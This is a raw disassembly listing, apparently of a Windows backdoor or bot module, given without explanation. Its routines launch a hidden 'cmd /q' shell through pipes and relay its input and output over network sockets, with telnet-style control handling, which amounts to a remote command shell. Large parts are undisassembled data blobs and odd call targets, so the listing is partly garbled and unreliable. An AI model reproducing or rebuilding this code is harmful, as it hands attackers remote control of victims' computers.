push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, edi
jz loc_411911
mov ebx, dword_427108
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, dword_427070
test eax, eax
jnz short loc_41188A
nop
call near ptr 269086Bh
push eax
push offset unk_435604
jmp short loc_4118AA
; ---------------------------------------------------------------------------
loc_41188A: ; CODE XREF: sub_411827+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_4118B2
call near ptr 269086Bh
nop
push eax
push offset unk_4355C4
loc_4118AA: ; CODE XREF: sub_411827+61j
call sub_415DAC
pop ecx
jmp short loc_4118E0
; ---------------------------------------------------------------------------
loc_4118B2: ; CODE XREF: sub_411827+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_411920
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_411915
push offset unk_43559C
call sub_415D38
loc_4118E0: ; CODE XREF: sub_411827+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4118EC
push [ebp+var_4]
call edi
loc_4118EC: ; CODE XREF: sub_411827+BEj
cmp [ebp+var_8], 0
jz short loc_4118F7
push [ebp+var_8]
call edi
loc_4118F7: ; CODE XREF: sub_411827+C9j
mov eax, [esi]
test eax, eax
jz short loc_411900
push eax
call edi
loc_411900: ; CODE XREF: sub_411827+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_41190A
push eax
call edi
loc_41190A: ; CODE XREF: sub_411827+DEj
push esi
call sub_41BA91
pop ecx
loc_411911: ; CODE XREF: sub_411827+1Dj
xor eax, eax
jmp short loc_41191B
; ---------------------------------------------------------------------------
loc_411915: ; CODE XREF: sub_411827+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_41191B: ; CODE XREF: sub_411827+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_411827 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411920 proc near ; CODE XREF: sub_411827+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41BF70
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_427104
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
call near ptr 2730320h
nop
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
nop
call near ptr 26709E4h
test eax, eax
jz short loc_4119DC
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43E918[eax], ecx
call near ptr 2670770h
nop
jmp short loc_4119F2
; ---------------------------------------------------------------------------
loc_4119DC: ; CODE XREF: sub_411920+9Aj
nop
call near ptr 269086Bh
push eax
push offset unk_435644
call sub_415DAC
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_4119F2: ; CODE XREF: sub_411920+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_411920 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4270EC
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411A22: ; CODE XREF: sub_4119F9+8Fj
call ebx
test eax, eax
jz short loc_411A8A
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_411A5D
loc_411A33: ; CODE XREF: sub_4119F9+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_411A4D
cmp dl, 0Dh
jz short loc_411A4D
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_411A4D: ; CODE XREF: sub_4119F9+44j
; sub_4119F9+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411A33
loc_411A5D: ; CODE XREF: sub_4119F9+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CBA24
test eax, eax
jle short loc_411A8A
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411A22
; ---------------------------------------------------------------------------
loc_411A8A: ; CODE XREF: sub_4119F9+2Dj
; sub_4119F9+79j
mov esi, dword_427094
call esi
cmp eax, 6Dh
jz short loc_411AA6
call esi
push eax
push offset dword_435684
call sub_415DAC
pop ecx
pop ecx
loc_411AA6: ; CODE XREF: sub_4119F9+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4119F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411AAB proc near ; DATA XREF: sub_4116D6+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_411AC4: ; CODE XREF: sub_411AAB+39j
; sub_411AAB+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CB9EC
test eax, eax
jle loc_411BC9
cmp [ebp+var_10], ebx
jbe short loc_411AE6
dec [ebp+var_10]
jmp short loc_411AC4
; ---------------------------------------------------------------------------
loc_411AE6: ; CODE XREF: sub_411AAB+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_411BA9
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411B56
cmp al, 7Fh
jz short loc_411B56
cmp al, 3
jnz short loc_411B11
push ebx
push ebx
call near ptr 27B0000h
nop
jmp short loc_411B7D
; ---------------------------------------------------------------------------
loc_411B11: ; CODE XREF: sub_411AAB+5Aj
cmp al, 15h
jnz short loc_411B33
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B33: ; CODE XREF: sub_411AAB+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_411B6A
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B56: ; CODE XREF: sub_411AAB+52j
; sub_411AAB+56j
cmp esi, ebx
jbe short loc_411B80
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411B69: ; CODE XREF: sub_411AAB+86j
; sub_411AAB+A9j
pop ecx
loc_411B6A: ; CODE XREF: sub_411AAB+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CBA24
test eax, eax
jle short loc_411BC9
loc_411B7D: ; CODE XREF: sub_411AAB+64j
mov al, byte ptr [ebp+arg_0+3]
loc_411B80: ; CODE XREF: sub_411AAB+ADj
cmp al, 0Dh
jnz loc_411AC4
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call near ptr 2720000h
nop
test eax, eax
jz short loc_411BC9
xor esi, esi
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BA9: ; CODE XREF: sub_411AAB+47j
cmp [ebp+var_C], ebx
jnz short loc_411BBA
mov [ebp+var_C], 1
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BBA: ; CODE XREF: sub_411AAB+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BC9: ; CODE XREF: sub_411AAB+2Bj
; sub_411AAB+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_411AAB endp
; ---------------------------------------------------------------------------
word_411BCE dw 8B55h ; DATA XREF: sub_401ACD+2BC4o
dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h
dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h
dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
dd 0B8895300h, 43E91Ch, 50EC458Dh, 15FF57h, 85004CBAh
dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h
dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h
dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh
dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh, 50004357h
dd 0A579E8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF96BEh
dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h
dd 8458D00h, 2C858D50h, 56FFFFFFh, 1DD36850h, 56560041h
dd 27E2D7E8h, 4D8B9002h, 34C969C8h, 3B000002h, 248189C6h
dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 0F1AAE890h
dd 0EDEB0226h, 0EB15E890h, 8D500227h, 0FFFD2C85h, 56F468FFh
dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h
dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h
dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh
dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
dd 59FFFF99h, 0E8905659h, 22DECB0h, 555B5E5Fh, 0EC81EC8Bh
dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 43E91Ch, 0ACB889h
dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h
dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh
dd 0FFFF988Ah, 0E8905359h, 22DEC2Ch, 30858D53h, 68FFFFFBh
dd 408h, 0FF36FF50h, 4CB9EC15h, 7FC08500h, 0FF36FF18h
dd 4CBA6C15h, 875FF00h, 0FF9859E8h, 905359FFh, 2DEBFBE8h
dd 30BD8002h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h
dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh
dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h
dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h
dd 59FFFF97h, 65E89053h, 6A022DEBh, 0E8458D10h, 49E85053h
dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
dd 6AFFFFFBh, 26A5706h, 0E845C766h, 45890002h, 5415FFECh
dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h
dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h
dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 0CDE89053h, 8D022DEAh
dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh
dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h
dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h
dd 5359FFFFh, 2DEA5FE8h, 689002h, 8D000004h, 0FFFB3885h
dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 9F2FE8h
dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0BA2415FFh
dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh
dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h, 1E89053h
dd 0FF022DEAh, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
dd 0E9E89053h
db 0E9h, 2Dh, 2
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4120AD: ; CODE XREF: ___:0041215Cj
; ___:0041218Cj
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_4120C5: ; CODE XREF: ___:004120D3j
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_4120D5
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4120C5
loc_4120D5: ; CODE XREF: ___:004120CAj
cmp ecx, 1
jnz short loc_4120EA
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_4120EA: ; CODE XREF: ___:004120D8j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call dword_4CB9BC
lea eax, [ebp-104h]
push eax
push ebx
call dword_4CB8C0
test eax, eax
jz short loc_41214A
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call dword_4CB9EC
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_412192
loc_41214A: ; CODE XREF: ___:0041211Cj
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call dword_4CB8C0
test eax, eax
jz loc_4120AD
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call dword_4CB9EC
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz loc_4120AD
loc_412192: ; CODE XREF: ___:00412131j
; ___:00412148j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
byte_412197 db 55h ; DATA XREF: sub_401ACD+20B3o
; sub_40BD91+106o
dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h
dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh
dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h, 226ED0Ch
dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
dd 94A8E8FFh, 5959FFFFh, 0E84AE853h, 8D90022Dh, 46AF045h
dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh
dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh
dd 234C069h, 89530000h, 43E91CB0h, 0D4458D00h, 9CF6E850h
dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh
dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h
dd 83004CBAh, 1975FFF8h, 138868h, 45E89000h, 0FF0226ECh
dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
dd 190h, 0EC12E890h, 8D530226h, 0FFF88885h, 24B5FFFFh
dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh
dd 858DFFFFh, 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h
dd 0FF93B9E8h, 1CC483FFh, 59E89053h, 8B022DE7h, 9F39087Dh
dd 2A0h, 27D840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h
dd 0F78485C7h, 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h
dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B9BC15FFh, 0C085004Ch
dd 2218E0Fh, 88A00000h, 8B0043DBh, 888588CFh, 33FFFFFAh
dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh, 50000000h
dd 0AC15FF56h, 0FF004CB9h, 4589C875h, 6015FFF8h, 50004CBAh
dd 50B0458Dh, 9E8DE8h, 309D3800h, 59FFFFFFh, 0AA850F59h
dd 80000001h, 0FFFF31BDh, 850F01FFh, 0A3h, 0FD94858Dh
dd 0E850FFFFh, 95C0h, 75FF5353h, 0B681E8FCh, 75FF0000h
dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh
dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
dd 96C0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0BA3815FFh, 9D39004Ch
dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 73E7E8FFh, 0C483FFFFh
dd 88858D14h, 50FFFFF8h, 38A7E8h, 10E95900h, 80000001h
dd 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah, 858AFFFFh
dd 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh
dd 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h, 0EEBFFFFh
dd 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh, 0C9B60FC0h
dd 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h, 0FC75FF50h
dd 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh, 0E7E85001h
dd 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh, 478D50F4h
dd 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h, 75FB3B00h
dd 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434798h, 9D18E850h
dd 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h, 0FFFFF888h
dd 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch
dd 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh, 37B0h
dd 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh, 68096A53h
dd 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh, 0FFFFFD77h
dd 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh, 8DFF0000h
dd 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h, 0E8FFFFFEh
dd 0FFFF90FAh, 0E8905359h, 22DE49Ch, 3E868h, 9E89000h
dd 570226E9h, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
cmp dword ptr [ebp+98h], 0
jz short loc_41266C
push esi
mov esi, offset dword_435848
loc_412614: ; CODE XREF: ___:00412667j
push esi
push dword ptr [ebp+0Ch]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41265B
push esi
lea eax, [ebp-200h]
push dword ptr [ebp+8]
push offset dword_436BB4
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-200h]
push dword ptr [ebp+9Ch]
push eax
lea eax, [ebp+18h]
push eax
push dword ptr [ebp+10h]
call sub_409869
add esp, 28h
loc_41265B: ; CODE XREF: ___:00412621j
add esi, 80h
cmp esi, offset dword_436448
jb short loc_412614
pop esi
jmp short loc_4126A3
; ---------------------------------------------------------------------------
loc_41266C: ; CODE XREF: ___:0041260Cj
push dword ptr [ebp+8]
lea eax, [ebp-200h]
push offset aS_1 ; "%s"
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-200h]
push dword ptr [ebp+9Ch]
push eax
lea eax, [ebp+18h]
push eax
push dword ptr [ebp+10h]
call sub_409869
add esp, 24h
loc_4126A3: ; CODE XREF: ___:0041266Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
byte_4126A7 db 55h ; DATA XREF: sub_401ACD+7374o
dd 0EC81EC8Bh, 920h, 5308458Bh, 0A5835756h, 0FFFFF6E0h
dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
dd 94h, 1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h
dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h
dd 86A0000h, 26E7EFE8h, 15FF9002h, 4CB958h, 0FF8453Bh
dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h
dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
dd 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 97BBE8h
dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
dd 6FE85000h, 8100009Ah, 8CECh, 8D34EB00h, 0E850B845h
dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh, 858D50FCh
dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h, 0A1h, 15FF016Ah
dd 4CB9A0h, 80013D66h, 8F850Fh, 858D0000h, 0FFFFFD20h
dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h
dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h, 50FFFFFDh
dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh, 0FC8B5926h
dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
dd 0FFFB2085h, 6A53FFh, 964EE850h, 0C4830000h, 0FC45C70Ch
dd 43644Ch, 15FF106Ah, 4CB8A8h, 8BF0BF0Fh, 788BFC45h, 15FF57FCh
dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h
dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h, 0BD84C710h
dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h
dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h, 0F6E0BD84h, 0F685FFFFh
dd 158840Fh, 20830000h, 20858D00h, 83FFFFFDh, 755008FFh
dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h
dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h
dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh, 0FD20858Dh
dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h, 0D2h, 0B95815FFh
dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh
dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh
dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h, 0C4830000h
dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
dd 0FD20858Dh, 6AFFFFh, 9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h, 83FFFFFDh
